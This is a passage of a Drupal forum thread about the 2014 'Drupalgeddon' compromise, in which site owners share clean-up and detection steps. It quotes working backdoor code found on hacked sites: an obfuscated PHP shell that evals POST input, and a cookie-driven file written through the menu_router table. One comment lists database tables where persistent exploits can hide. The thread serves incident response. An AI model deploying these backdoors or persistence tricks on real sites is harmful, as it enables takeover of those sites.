serialize(${$ugtfpiyrum});}else{eval($_POST["\x70\x31"]);}}if(empty($_POST["\x61"])){${"\x47L\x4fB\x41LS"}["\x69s\x76\x65\x78\x79"]="\x64\x65\x66\x61\x75\x6ct\x5f\x61c\x74i\x6f\x6e";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x6f\x65c\x68\x79\x6d\x7ad\x64\x64"]="\x64\x65\x66a\x75\x6c\x74_\x61\x63\x74\x69\x6fn";if(isset(${${"\x47L\x4f\x42\x41LS"}["\x69\x77ir\x6d\x78lqtv\x79\x70"]})&&function_exists("\x61ct\x69\x6f\x6e".${${"\x47L\x4f\x42\x41\x4cS"}["\x75o\x65ch\x79\x6d\x7a\x64\x64\x64"]}))$_POST["a"]=${${"\x47\x4c\x4f\x42ALS"}["i\x73\x76e\x78\x79"]};else$_POST["a"]="\x53e\x63\x49\x6e\x66o";}if(!empty($_POST["\x61"])&&function_exists("actio\x6e".$_POST["\x61"]))call_user_func("\x61\x63\x74\x69\x6f\x6e".$_POST["a"]);exit;

What is she trying to do here?

asennus1’s picture

Today they are using the IP from Russia. Reporting in case you would like to add it to your blocked IP's list.

myron_s’s picture

Seen similar on my site today. By that I mean I've seen the first PDOException error reported in the logs plus two other warnings.

Jaypan’s picture

For anyone using GIT, I've found two of my sites were compromised, and this is the process I used to determine what to clear out.

1) First I overwrote my local Drupal installation with Drupal 7.32, and committed all the changes.
2) Next I pushed to my central repository
3) I SSHed into my webroot, and pulled the new code
4) I got the following error:

error: Your local changes to the following files would be overwritten by merge:

5) I checked out the former version of database.inc using: git checkout includes/database/database.inc
6) I pulled my code again, no problem
7) I ran git status to look for any files that should not be there
8) In the 'untracked files' section, I found modules/system/amep.php (note - the location and name of this file appear to be random, as the other exploited system I found had a different filename in a different location). Opening it up, it had a bunch of code regarding cookies. As it definitely didn't come from GIT, I knew it was something someone had injected into my system. I deleted the file.

The above completes the files portion. Next is the database:
1) I went to the menu_router table of my database, and searched for an entry where the 'access callback' was equal to 'file_put_contents'.
2) I deleted the resulting row.
3) I took a fresh, clean backup, and deleted any backups that had been taken since database.inc had been changed, to ensure I didn't have any backups that contained this bad menu item.

The Drupal organization has shut down discussion on improvement of the forums: https://www.drupal.org/node/2536122

It's time to start a new forum somewhere else. The Drupal organization does not care about the forums.

killes@www.drop.org’s picture

2 Questions:

1) what was the actual change to database.inc? Was that the patch?

2) Why are your Drupal files writable by the webserver anyway?

Jaypan’s picture

I didn't check what the actual changes to database.inc were. The change date was yesterday, and I haven't done any work on the site in days. Also I don't ever alter core files, and this core file was different from my Git repository, so I know it had been changed.

As to my files being writable, my hosting company uses suPHP, where both the file owner and group are the name of the Unix account. The file itself was set to 644 (write-read-read). As far as I know, this is how it is supposed to be set up. I'm not sure how they were able to change the file.

The Drupal organization has shut down discussion on improvement of the forums: https://www.drupal.org/node/2536122

It's time to start a new forum somewhere else. The Drupal organization does not care about the forums.

killes@www.drop.org’s picture

Thank you.

I suspect that the change was actually the patch applied by the attacker so that nobody else but him could take over your site.

The suPHP setup is unfortunate. If you can exec PHP code (and you can if you do not patch), then you can change file permissions.

I do not think that this setup (owner of PHP files == apache) can be considered "best practise" für hosting a web application, and this is true for several years now.

Of course, an attacker can still exploit the problem even if he can't write to the Drupal file directory. It's just a bit harder.

Heine’s picture

Point 2 certainly matters in the context of this particular exploit and general best practices, but I want to stress that almost all sites have a writeable, publicly accessible folder.

In case of Apache, unless you have a vhost configuration that disallows both code execution in that directory AND overriding options via .htaccess, the public file directory can be used to store a persistent exploit. In some cases with an innocent extension even.

There are also additional avenues for exploitation and/or obtaining persistent* access. Finding them is limited only by ones' imagination :)

* Not all options will survive cache clears / menu rebuilds.

From a cursory investigation:

  • An exploit can use any __wakeup and __destruct() method with chosen object values.
  • An exploit can execute PHP code in just one request without the need for a persistent part.
  • The batch table can be used to hide a persistent exploit.
  • The queue table can be used to hide a persistent exploit. This doesn't even need the PHP module, because of a missing function_exists(), so it can use eval().
  • The session table can be used to hide persistent access.
  • The load function entry for a menu router item can likely be used to hide a persistent exploit. This doesn't even need the PHP module, because of a missing function_exists(), so it can just use eval().
gnulux’s picture

There are also additional avenues for exploitation and/or obtaining persistent* access. Finding them is limited only by ones' imagination :)

* Not all options will survive cache clears / menu rebuilds.

Heine, do you mean Clearing caches, rebuilding menu are useful or just helpless?

Sorry for being dumb.

Heine’s picture

It is pretty useless IMO as a full solution. Toss the site and rebuild or do a complete audit.

gnulux’s picture

Thanks Heine for your swift reply.

The problem is Drupal doesn't have a simple xml export feature like Wordpress which would enable us, as far as I can see, to export the content of our website, remove both install and database, install a fresh Drupal, and import the content after checking it hasn't been meddled with.

I'll look into Drush and audit though. I pity those who have to deal with many Drupal websites.

What a calamity — to quote Wallace (Wallace & Gromit).

VM’s picture

migrate.module in contrib.

gnulux’s picture

I looked at Data Import Export Module but it doesn't produces simple files like HTML or XML that you can read and check.
For all I know this module is somehow dependent on the Drupal database and I could be importing some malicious code into a fresh database.
Or there could be some PHP code in the files that I've exported.

Anyway, I'm going to take my Drupal web site down as I see many reports that I'm not sure are unsuccessful attacks:
PDOException: SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry '' for key 'name': INSERT INTO {users} (uid, name, pass, mail, theme, signature, signature_format, created, access, login, status, timezone, language, picture, init, data) VALUES (:db_insert_placeholder_0, :db_insert_placeholder_1, :db_insert_placeholder_2, :db_insert_placeholder_3, :db_insert_placeholder_4, :db_insert_placeholder_5, :db_insert_placeholder_6, :db_insert_placeholder_7, :db_insert_placeholder_8, :db_insert_placeholder_9, :db_insert_placeholder_10, :db_insert_placeholder_11, :db_insert_placeholder_12, :db_insert_placeholder_13, :db_insert_placeholder_14, :db_insert_placeholder_15); Array ( [:db_insert_placeholder_0] => 20192 [:db_insert_placeholder_1] => [:db_insert_placeholder_2] => [:db_insert_placeholder_3] => [:db_insert_placeholder_4] => [:db_insert_placeholder_5] => [:db_insert_placeholder_6] => 2 [:db_insert_placeholder_7] => 0 [:db_insert_placeholder_8] => 0 [:db_insert_placeholder_9] => 0 [:db_insert_placeholder_10] => 0 [:db_insert_placeholder_11] => [:db_insert_placeholder_12] => [:db_insert_placeholder_13] => 0 [:db_insert_placeholder_14] => [:db_insert_placeholder_15] => b:0; ) in drupal_write_record() (line 7202 of ../includes/common.inc).

In the meantime, I'll still be looking at ways of exporting my nodes in a safe and easy way :-)

VM’s picture

feeds may be an option.

gnulux’s picture

Actually, I may be lucky. I've uncovered an old database backup that I must have done previous to an upgrade back in May. Nothing essential has changed since then.

My webhost does a nightly backup but each backup replaces the former one of course.

So I'm going to delete my present database, install a fresh instance of Drupal and restore the old backup. Hopefully this one hasn't been previously compromised ;-/

But I'm going to wait for a while until attackers stop playing with the recent SQL Injection.

Good luck to those who have to deal with many and important Drupal website, I feel for them.

gandhiano’s picture

I was also looking at Data Import Export and put it aside for the same exact reason - no possibility to review what is being migrated.
I'm thinking of going with node_export, since it allows for exporting as CSV file, and there I can check through the hundreds of newly produced content on my site since last safe backup. Any experiences/recommendations here?

tamerzg’s picture

I noticed similar thing, where some of sites had database.inc with todays date!
In case you can't just roll back the backup I wrote steps to clean this:


gnulux’s picture

Hello there,

Many thanks for your article tamerzg:

When you say "run a search", how do you go about it?

What I did was after reading all the comments here was simply to browse the menu_router table

I didn't see any file_put_content
I compared your picture to the content of my menu_router table: http://www.zoubi.me/sites/default/files/drupageddon_sql.png

Was my naive way of searching enough to make sure file_put_content doesn't exist?

VM’s picture

in phpmyadmin click on the search tab
add your keyword
select the table to be searched
perform the search

gnulux’s picture

Thanks VM, I ran the search which returned:

Search results for "file_put_content" at least one of the words: 0 matches inside table menu_router

Yet, this doesn't mean the database hasn't been compromised since one user added himself before I upgraded to D7.32

Screenack’s picture

This mysql statement makes quick work of finding offending menu_router rows?

SELECT * FROM `menu_router` WHERE access_callback LIKE 'file_put_contents';

kay_v’s picture

I'm assuming javascript cache files are not a risk to anyone, but don't want to leave that assumption untested.

I'm using the following to find files that had been changed in the last 4 days:

$ find -ctime -4

It of course lists a lot of cache files (js and css). Anyone know more about whether these can pose a risk either to the server or to the browser that downloads them?

ownsourcing.com - Drupal training

greggles’s picture

Hi kay_v!

One thing you could do is just delete them. If the human-readable original .js files all match what you expect (based on comparing them to your revision control or to drupal.org copies) then you know that those are fine. Deleting the minified/aggregated js and css files and then regenerating them will let you know that the new files are good.

CARD.com :)

kay_v’s picture

Hi Greg!
Yeah, I should have mentioned we cleared them on the one server where we found the cookie file others have mentioned (hostgator shared server). I mostly didn't want to leave my uneasy question unasked, or go too far the other way and contribute to fud.

Seems making cc part of the recommended fix wouldn't be bad, along with reverting to the previous version of your database (take a look at dblog for content that might have been updated --very easy to filter to see content changes). These all seem like good, quick, prudent steps everyone might just take even if it's overkill.

ownsourcing.com - Drupal training

scor’s picture

It should be added that restoring a backup of you database is not sufficient since the attacker might have left backdoor(s) on your file system:
- check that your docroot Drupal's file were not changed and that no other file lives in for example one of your core module (e.g. /module/blog/foo.php). If you are using Git then you are in better shape but you still need to make sure no other files are there (delete all your docroot and run a git checkout, git cannot ensure there are no other files alongside). More over, security best practices say that your Drupal files should not be in a webserver-writable directory since they need to be executable.
- check that your file public directory (where people upload files) and the temporary directory are not executable, since the attacker might have placed backdoors there too (see Heine's comment).

likewhoa’s picture

So after updating most of my client's Drupal installs I decided to see which sites actually got hit before I was able to apply the core updates. It seems that out of all the sites two got hit but some interesting log messages appeared and after doing a throughout audit of the server it appears that attempts failed even with the vulnerable drupal installs.

A little info on my servers,.. They are all running Gentoo Linux with the hardened profile which is highly customized with many grsecurity features, plus all drupal roots are setup to have directories as "rwxr-x---" and files as "rw-r-----" with owner being the shell user and group being the httpd group, this prevents the httpd server from writing any files outside of sites/default/files directories which are set to "rwxrwx---" and files inside those directories to "rw-rw----" thus preventing the exploits from actually writing at random locations inside modules directories as you see on various examples.

This is an example of the file that got inserted into the menu_router table access_callback column.

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

As you can see it's trying to create the file modules/image/vzoh.php but since I have only read permissions inside those directories php fails with.

Warning: file_put_contents(modules/image/vzoh.php): failed to open stream: Permission denied in _menu_check_access() (line 628 of includes/menu.inc).

After finding this report in admin/reports I when ahead and banned this user ip from all my servers. This same pattern happened to the other site and it seems the script kiddie tried to do this twice on both sites.

In the end it's good practice to have proper permissions for your drupal sites, it also helps to run paranoid servers like mine ;)

One more thing,... those that want to see which databases have the "file_put_contents" can run this below SQL command I put together to quickly see what databases are suspects.

    schema_name, ' ;SELECT * FROM \`menu_router\` WHERE \`access_callback\` = \'file_put_contents\' ORDER BY \`menu_router\`.\`access_callback\` ASC LIMIT 0 , 30;')
FROM information_schema.schemata
WHERE schema_name NOT IN ('information_schema','mysql','performance_schema','test');

The above query will render a list of individual queries that you can either copy/pasta one at a time or at the same time, just keep in mind that you will have to edit the "NOT IN" with whatever databases you have that are not drupal specific so that your query is valid when copying/pasta.

Happy patching!

"We have only two modes - complacency and panic." — James R. Schlesinger, the first U.S. Dept. of Energy secretary, in 1977, on the country's approach to energy.

Bending technology to fit business

duckx’s picture

what is in that php file that they injected? I'm thinking i can just grep my entire directory to look for contents of that file. unless there is a better way of detecting these files?

nvm.. its this thats what we have to look for: <?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();

Screenack’s picture

FTW: I found a file whose contents match what duckx reported in modules/file/nlzi.php

duckx’s picture

what command did you use to search for it?

Screenack’s picture

first, I used drush dl drupal in the same directory as my root Drupal instance, i.e., "public_html"
Then I diff -rq -x sites public_html drupal-7.32
…And review the resulting output for any file system anomalies.

duckx’s picture

did u find anything? where did they upload to?

likewhoa’s picture

You can run this grep command to find them.

grep -rE '\?php \$[a-z]+[0-9]\=\@\$_COOKIE\[' /drupal-root

On a fresh install it will not show any results but on compromised systems were the files were successfully created with file_put_contents it will find results.

AS the previous poster pointed out you can download a fresh drupal install and run a recursive difference as well but at the time I just used grep but didn't find anything since I don't allow any writes in my drupal root except on sites/default/files.

Good luck!

Bending technology to fit business

xurizaemon’s picture

Worth noting this will find some but not all exploits. Malicious code can be stashed both in your site codebase and your DB; unless you check both (with tools like Drupalgeddon (quick / first response helper) then Security Review, Site Audit, Hacked! you could easily miss a lot of attacks.

Screenack’s picture

Likewhoa, I've removed several injected php files that your grep wouldn't find. (That's not to say that that is some FINE grep you got goin' on.) In several files, the hackers obfuscated the code. I'm still most comfortable diff'ing one's drupal root against a "pristine" freshly downloaded Drupal directory.

likewhoa’s picture

Agree, but the mistake most users do is that they allow writes in their drupal root.

Bending technology to fit business

elex’s picture

I had some drupal installs with a new user "drupaldev" and a new role "megauser". The role had no permissions. The menu_router table was clean. I think the best is to import an database backup.

Screenack’s picture

I've just "cleaned" a second Drupal site instance just like this one. Also, this drupaldev account "Member for" value was 44-some years.

felixodie’s picture

Hey Kyle,

By "cleaning" what did you mean? Is deleting user and role enough?

Screenack’s picture

Sorry for being vague. I've removed the user and permission role they've installed. I consider my calling that "cleaned" a little too glib now. I am watching the user tables, despite having a menu router without the entries indicated here.

felixodie’s picture

I also have this.

However I'm on Drupal 7.28.

Is my site exploited? Should I be worrying about this? Any thoughts?

Screenack’s picture

Presume it is infected. Review as per the above recommendations:

This is my possibly lacking summary of tasks:

  1. Inspect the menu_router table for the entries described
  2. Inspect your core drupal directory for any non-drupal provided PHP files
  3. Check your user table for users that do not match your requirements

Anything else?

Heine’s picture

Off the cuff: all things using filters, batch table, queue table, files directory, session table (see above). There are likely more ways to hide long(er) term access.

lanceh1412’s picture

As far as I can see it seems that all of the reported (actual or attempted) exploits have fallen into one of three types:

  1. Menu router attack (followed up by attempt to write php file
  2. Megauser (updates to user table)
  3. Create a new custom block

These were the attacks that were first observed within about 7 hours of the patch. And I guess this is the reason for the 7 hours cut-off. Are there any other reported attacks that are not variations of these? Are the harder to spot exploits that you refer to in the wild or are they theoretical? Given that they are much harder to spot can we be sure they weren't occurring after 5 hours or three hours?


felixodie’s picture

Hey Kyle,

Thanks for your answers. Actually i did check those table and could not find anything suspicious. But I only checked for file_put_contents & access_callback.

I guess it was a robot who did exploited my site because as far i can tell from my logs it only logged in once before I find it.

However for not slowing my database I've moved my logs from database to a file called messages. This way I could fastened my site a little. And for the logs of day 19.10.2014, file size is around 15Gb. Should I be worrying? I can grep that file if you can give me some keywords to see if there is a problem.

Screenack’s picture

Sorry for the delayed response. I've been using drupalgeddon, site_audit and diff'ing the root drupal directory AND restoring the DB from 10/14 or before (as much as your workflow can handle) So far, no moles have popped up to whack but I'm still vigorously checking.

netgenius.co.uk’s picture

@Kyle Skrinak re: "Anything else?" ... although it seems that attacks to date have written into a location below the Drupal base directory, they might get smarter and start writing PHP files elsewhere. Anywhere that the www-data user has write access *and* the web-server configuration allows PHP execution would be suitable for an attacker. Well, not just PHP, any other script or even binary that the web-server configuration would allow execution of.

So, in my case for example, I have Moodle installed at /var/www/moodle with Drupal 7 at /var/www/drupal7 and Drupal 6 similarly. My configuration would prevent them changing Moodle's PHP files, but in other configurations (especially shared web-hosting) the Moodle files might be writeable by www-data, so inserting some code into Moodle's index.php would be a way to install a backdoor on the server.

hello@ws.agency’s picture

Updating or applying the patch might not be enough. We have seen couple of different exploits that happened within first few hours since the D7.32 was released.
Some include malicious entry in menu_router table, some include newly created users with admin roles, and some include admin email changed. If you can't roll a backup of the site then you might need to do a full site audit to make sure your site and server doesn't contain TROJAN which can be activated even if you patched the site.

Aasamalaine’s picture

I just found this PHP backdoor file from my server, and when I went through logs, it seems that someone has been using this file about 8 hours after initial infection. I don't know what they were up to, but what ever they did caused segmentation faults in a file which I have never seen before.. Trying to install rootkit maybe? Oh well, the server was in need of a reinstall anyways :(

rreiss’s picture

So why is it at the post's categories?

Heine’s picture

I believe it was the intent to add a remark on D6 here, as it is definitely a frequently asked question. I've added a line.

mikedotexe’s picture

You're talking about something different, where this is tagged for D6.
Do want to say, our Drupal 6 sites were hacked, but due to our Drupal 7 sites being able to access the server.

So Drupal 6 was compromised, technically.
But they can't do it directly, only on servers with multiple sites which house Drupal 7.

Hakuna Matata

gnulux’s picture

Hello there,

Just to say that I realized something was wrong in Drupal when I connected to my website to remove spam:
I saw a user named forouq was there and had assigned to himself the role of my main user (not quite admin role though). The forouq user page didn't show an email or any detail. I removed this user before having a look at the database, which was silly of course.

I don't allow users to register themselves.

Unfortunately I disabled detailed reports for lack of space on my share of the server, so I can't give any details.

However, I'm going to enable reports again now that I've installed Aggregator Item Length that stops most database overbloat.

abart83’s picture

hi today i noticed a new user by name of drupaldev in admin panel inside people section? guys who made it and what does it do? also this user has been assigned new roles megauser.. please guide.. should i delete both user and roles and how they are made?

Screenack’s picture

Read up; it sounds like manifestations of the security report above. You'll need to perform a thorough review of your web site for suspicious or malicious behavior.

guys you made it and what does it do?

What do you mean by this?

abart83’s picture

Sorry i meant Who* not you :)

ok i have made below change in database.inc file

removed below line:
foreach ($data as $i => $value) {

added this one:
foreach (array_values($data) as $i => $value) {

is it safe now for time being? since i can't upgrade drupal rightnow! please advise..

Heine’s picture

No, you were too late with the patch. As Kyle wrote, you need to do an audit of changes, or restore from a known good backup.

FSheFF’s picture

Re above:
"My site has already been patched
We've seen many reports where people found that their site had already been patched even though nobody in charge of the site updated the site. This means that the site was compromised..."

Not so fast. We noted /includes/database/database.inc was "fixed" on the 17th and then based on the above we checked all the files and database and did not find anything amiss.

Found out today that our ISP proactively fixed the file, without telling us. So false alert. But also ten hours of our time wasted.

That may have happened to others.... So check with your ISP.. they may have done the same... IF so they really need to tell folks when they do such modifications...

And someone please explain why a hacker would "fix" the file afterwards. Makes no sense to me. Have folks seen this before? He or she should have left it as it was.

John Pitcairn’s picture

So nobody else can hack it.

aufumy’s picture

Which is your hosting company, that sounds like a good one.


bramvandenbulcke’s picture

By fixing the database.inc file they lock out other hackers.

pedrogk’s picture

I received the email from Drupal warning about the security update on Saturday 18th at 4 pm CT. I was out camping and was able to read mail until Monday, and immediately patched. But by then, my site had already been compromised (that was done on Oct 17th 5 am CT).

Consequences were the same seen here (the drupaldev user and megauser role, as well as changing user/password of uid = 1). I already cleaned that up and nothing major happenned (hopefully).

Anyway, all this to state the following request: Please send faster the emails warning about security updates.

greggles’s picture

Did that email come from drupal.org or from your site?

I believe that all emails were sent from drupal.org within minutes of the release on Wednesday October 15th.

I can only imagine that the update.module inside of one of your sites sent the email. In that case it either sends it daily or weekly, depending on your configuration. In general this is probably a decent way to stay updated about security releases, but for this vulnerability it unfortunately is insufficient. That's why we did twitter posts and posts on https://groups.drupal.org/core pre-announcing the release window as a definite and important upgrade, so that people would pay attention during that release time on Wednesday regardless of when their site may have emailed them.

CARD.com :)

pcranston’s picture

I received the email from Security-news and patched my development environment immediately. After QA'ing, I had my production environment upgraded within the hour, so I'm confident my sites weren't compromised.

But what if I'd been out for the day? Or was in the HKT time zone and received the email at 12:04 AM instead of 12:04 PM ET, and asleep for the rest of the 7 hour window before my site was likely compromised?

I don't check https://groups.drupal.org/core or Twitter (which account, anyways?) for security announcements; that's why I'm subscribed to security-news.

I'm also now reading about how Acquia protected it's own customers prior to the vulnerability being made public (https://www.acquia.com/blog/shields)... That's great for their customers, but what if you don't host at Acquia (or Pantheon)? Why not pre-release a fix to the database layer that doesn't disclose the vulnerability?

At the very least, I think there should have been an email sent to the Security-news list letting people know that there would be an upcoming, highly critical security update coming out at a set time.

raj45’s picture

I think a pre-announcement about this security patch would have been the right approach.

The Plone security did this a few years ago, when a severe bug was found, this was sent to Plone users a week in advance (2011-09-28), containing among other things these lines:

This is a pre-announcement. Due to the severity of this issue we are providing an advance warning of an upcoming patch, which will be released on this page at 2011-10-04 15:00 UTC.

Q: When will the patch be made available?
A: The Plone Security Team will release the patch at 2011-10-04 15:00 UTC.

Had it been handled like this, many sites would now not be hacked. In stead, many of us now have to roll back to previous versions, if we have back ups in the first place, or we have to audit our sites, and see if we can see suspicious activities in our logs, strange content in our sites, etc.

If our sites were hacked and content have been added in the mean time, we now have to revert to a previous version, export the new content from the existing databse and merge it with a clean DB from before october 15th.

Also, sending out the alert at 18 o'clock European time works very well for American users, since they get the alert in the morning, and have time to take the required action. For us Europeans it means that many hours passed before we saw the alert, next morning. I realize that there is never a really good time to release such alerts, since the clock is movin around the globe :-)

So my suggestion is, should this situation happen again, that an alert is sent out a week in advance about a future security patch, alerting the users when the patch will be released. Twitter posts and posts on https://groups.drupal.org/core are all very well, but simply not enough.

Heine’s picture

What stops one from reading mail after 18:00h? I assume (and heard stories) that many people in EU in fact _did_ read the mail just after it was received, then decided to wait until the next business day, while others did patch immediately.

Would your decision process and upgrade scheduling truly have changed if there would have been a pre-announcement or are you just posturing here?

That said, I like the idea of a pre-announcement via the security news channel for truly highly-critical, likely to be widely exploited vulnerabilities.

raj45’s picture

What stops one from reading mail after 18:00h?

I need to take a break from work occasionally :-)

That said, I also read the security mail, but only when I was at home, away from work. I just didn't realize the severity of Drupalgeddon at the time, and didn't rush back to my work place to patch.

But this is not posturing: had we received a pre-announcement, describing the severity, we most probably had patched Drupal right away. At my company we now have to put many people into action, to search through log files and write custom scripts to search through the database for signs of a breach.

That said, the severity of Drupalgeddon has alerted us to the importance of being on top of security alerts, by being signed up to the security newsletter.

I really hope the pre-announcement system will be considered, like you said, for "truly highly-critical, likely to be widely exploited vulnerabilities".

lanceh1412’s picture

Not sure why it didn't come out immediately as 25/25 instead of 20/25 which created the impression it wasn't quite the worst thing that could happen!


deanflory’s picture

I second that we need a security reminder in place, well, we already do when we're signed-up for security e-mails, so there's really no excuse for how this went down. I worked for 2 weeks on 2 sites only to receive the PSA stating that me udpating 1 day after it was released wasn't fast enough. So with a complete reprovision of my server and now rebuilding the backend and all accounts, then on to uploading backups from the 13th (whew!) I'm 3-4 weeks out from being where I thought I was last week. If my clients weren't understanding I'd be thowing a going out of business bash.

I think a simple reminder e-mail on the security e-mail channel would be sufficient. Emphasizing a "big security hole" on just big fixes sounds like we're asking for this to happen all over again...before a security fix is release. Just a regular reminder two days to a week prior to when a regular security release is coming out would be sufficient, especially when people like myself are scared not to jump on security updates ASAP after a tour in the Great Drupageddon War of 2014.

Yes, there is some regular schedule for updates but a reminder doesn't seem like too much effort to save hundreds of thousands of sites. It would be the responsible and caring thing to do from now on. Consideration of this would be appreciated.

xurizaemon’s picture

Release timing
Security release "windows" are every Wednesday for Drupal contributed projects, and one Wednesday a month (usually the third Wednesday) for Drupal core.

A release window does not necessarily mean that a release will actually be made on that date, but it exists so that site administrators can know in advance which days they should look out for a possible security release. (Also, in the unusual case of a highly critical security issue, such as one which is being actively exploited in the wild, releases may be made outside of the normal window.)

- https://www.drupal.org/node/1173280

IMO this is our pre-announcement, and it's nicely scheduled to occur at a predictable time. Businesses using software have the responsibility of scheduling maintenance windows according to that software's release cycles.

I'm sympathetic to the situation that many sites found themselves in, but IMO a pre-announcement would have given attackers lead time too, and probably not have significantly helped the majority of sites who weren't in a situation to respond quickly. What we've seen in responses to Drupageddon has shown that while some of the community have embraced approaches that make it possible to deploy fixes/updates to a network of sites rapidly, the majority of sites are not managed with this in mind and as a result a large number of sites were hacked.

I contend that giving both attackers and defenders advance notice would not have shifted the outcome favourably - sites able to deploy updates quickly did so anyway, a small number might have responded quicker, but the attackers would have had a much better opportunity to prey on the remainder with additional notice.

David_Rothstein’s picture

Sorry to hear about your site :(

@greggles beat me to it but I was going to say something similar. The emails that are sent via Update Status (inside your site) can be configured at admin/reports/updates/settings (it sounds like yours were set to send weekly, but you can change it to daily).

Meanwhile, instructions for subscribing to the security list are at the top right of https://www.drupal.org/security, and in that case the email was sent out directly from drupal.org within minutes after the security release was made on October 15 (so hopefully arrived in everyone's inboxes immediately after that... I'm not sure if there is a delay in some cases but they've always made it to my inbox within a minute or so after they are sent).

Jaypan’s picture

I got the email for the security update on Oct 15th. I don't know if it was immediately after it was sent, but it was soon enough.

The Drupal organization has shut down discussion on improvement of the forums: https://www.drupal.org/node/2536122

It's time to start a new forum somewhere else. The Drupal organization does not care about the forums.

Screenack’s picture

Kudos to Bevan Rudge: http://drupal.geek.nz/blog/your-drupal-websites-backdoor

I can not vouch for this post entirely, but does a nice job of echoing my approach to addressing this hole, in particular going forward (on existing sites, of course)

Bevan’s picture

If your Drupal 7 (and 8) website was not updated within a few hours of the announcement it may be compromised. If it was not updated within a few days, it is most probably compromised. Updating or patching Drupal does not fix backdoors that attackers installed before updating or patching Drupal.

See Greg Knaddison's "Your Drupal site got hacked. Now what?" and my own workflow chart.

John Pitcairn’s picture

Bloody good job Bevan. Lots of site-builders are going to need this, I just hope they find it and pay serious attention.

duckx’s picture

have there been reports of modified files somewhere besides them putting a .php file in a random module folder? And what was the code they injected into the modified files?

drumrwaldo’s picture

Called blog.php. Code was a mix of text and ASCII I couldn't decipher, but lots of people were hitting blog.php last night before I shut my site down.

nicodv’s picture

I found several of my sites infected and after talking to the server guys, they did a grep and found out this (in one of them), in case someone wants to take a look on their own servers:

grep -Rl "PCT4BA6ODSE_" .


roderik’s picture

Yes, there have been reports of modified files.

For instance, here: https://www.drupal.org/node/2362315#comment-9274623

I've seen hacks like that one in .tpl.php files, and also in other files in sites/all/modules. All infected files had the .php extension in my case.

In my case (just like the linked example), all changes were near the top of the file, and the malicious code was preceded by more than 80 spaces, to make it more difficult to see for some terminals/client programs.

hoporr’s picture

Thanks for reporting. That link shows a new type of exploit I had not heard of before. Looking at the code, it checks if a variable is set in the POST (base64 encoded) and then evals it.

mdd_’s picture

Here's something that I haven't seen in any of the flow charts that I had a question on.

Let's assume that the site was compromised and we brought it back to a pre-October 15th backup.

  • Since versions of this exploit were placing files with PHP access, should I assume the MySQL Password was compromised?
  • Since the exploit could place these PHP files and inject into the database whatever they desired, I was also concerned that the users table hashed passwords were revealed?
  • Because of this, why don't I see every Drupal SA post on the internet advising all site users to change their passwords? I am not a Developer, but isn't it possible to spoof cookies with hashed passwords or something?

Thank you,


Jaypan’s picture

Passwords are hashed so that if your database is compromised, the passwords won't do any good for the intruders. Hashing is a one-way process. So the hashed passwords can't be used to log in either - the original password needs to be known in order to reproduce the hash.

The Drupal organization has shut down discussion on improvement of the forums: https://www.drupal.org/node/2536122

It's time to start a new forum somewhere else. The Drupal organization does not care about the forums.

mdd_’s picture

Thank you for your answer. I appreciate it.

xurizaemon’s picture

* change all your passwords on the exploited site, hashed passwords can be extracted with time / computing power
* clear your session storage (truncate session table etc) to force logout all users
* deal appropriately with your responsibility to site users regarding notification (notify that passwords or other personal info on the site may have been exposed)

See Bevan's flowchart here which should cover all of these.

Heine’s picture

Passwords could have certainly been intercepted during user login, but you'd need to review all injected/dropped code to know for sure. In addition, weak/dictionary passwords can likely be obtained from the hashes using oclhashcat.

edit; spelling

jaredwiltshire’s picture

Has anyone else seen any other method of deploying files other than the 'file_put_contents' callback in the 'menu_router' table?
I can't find any 'file_put_contents' callbacks in my databases. Maybe they were deleted after the attacker installed their malicious payload?

Bevan’s picture

Clearing menu cache rebuilds menu_router table, which would remove any hacks there. But backdoors may have been installed in the code base or files directories. Rebuild the server and roll back to pre October 15 backups. Its the only way.

jaredwiltshire’s picture

Yeah I have cleared the menu cache but I can't find any 'file_put_contents' references in any of my daily backups either.

I've done a full file-system diff and I am certain I have removed all the malicious files. I'm more worried about the database at this stage.

greggles’s picture

There are several ways to upload files, that's just one of them. Some of the methods would leave no traces behind (or perhaps the attackers clean up the traces after the site is compromised).

CARD.com :)

jaredwiltshire’s picture

Care to elaborate on the other ways, this is what I am after. So I can check on them.

greggles’s picture

In core, some ideas:

* If php module can be enabled (i.e. is on the filesystem) then block bodies, block visibility rules, node bodies, comment bodies, any field on any entity that has an input format on it.
* Even if php module is not enabled, the batch system is one avenue
* If you have some contribs...then the possibilities are defined by those.

It's limited only by your imagination and the specific configuration of your site.

Really the best advice is in https://www.drupal.org/node/2357241#comment-9272825 If you've diffed the filesystem that's a great step. Reviewing the database is the next step.

CARD.com :)

jukka792’s picture

This piece of php was found from the beginning of "template.php" -file in the Drupal custom theme folder. Theme was enabled and default.


Also noticed that all of the sites which were updated to 7.32 on 15.10. are not infected. Luckily did this for the most important sites.

What is the easiest way to scan a site for this, if restore from database backup is not an option ?

Bevan’s picture

See http://drupal.geek.nz/blog/your-drupal-website-has-backdoor. But realise there is no way to be certain you have found all the installed backdoors.

maori’s picture


Thank you so much this was what was happing to me couldn't find any thing in my users table or the menu_router but strange php files were popping up every now and then have now cleaned the files with that in and

hopefully this will sort that

Bevan’s picture

If your Drupal 7 (and 8) website was not updated within a few hours of the announcement it may be compromised. If it was not updated within a few days, it is most probably compromised. Updating or patching Drupal does not fix backdoors that attackers installed before updating or patching Drupal.

See Greg Knaddison's "Your Drupal site got hacked. Now what?" and my own workflow chart.

greggmarshall’s picture

I can understand how file_put_contents is working to generate the files being left on the site.

How was the new user created? And did creating that user leave any trace that I can search for? After I patch the site, can any new users be created?

I'm working on a site that appears to not have backups, I've used the drupalgeddon "module" to identify the issue, deleted the users after I patched the site, searched for hacked modules, additional file greps, about everything I can find.

I'm just trying to convince myself I have done all that I can to mitigate that site before I start fixing the process issues that caused database backups to have rotated away and the lack of Git control of the code so we could identify any modifications?

Bevan’s picture

It is not possible to be certain you have found all the backdoors. Exploits may not leave any traces. If you can not restore to a backup, you should rebuild, as per https://www.drupal.org/PSA-2014-003

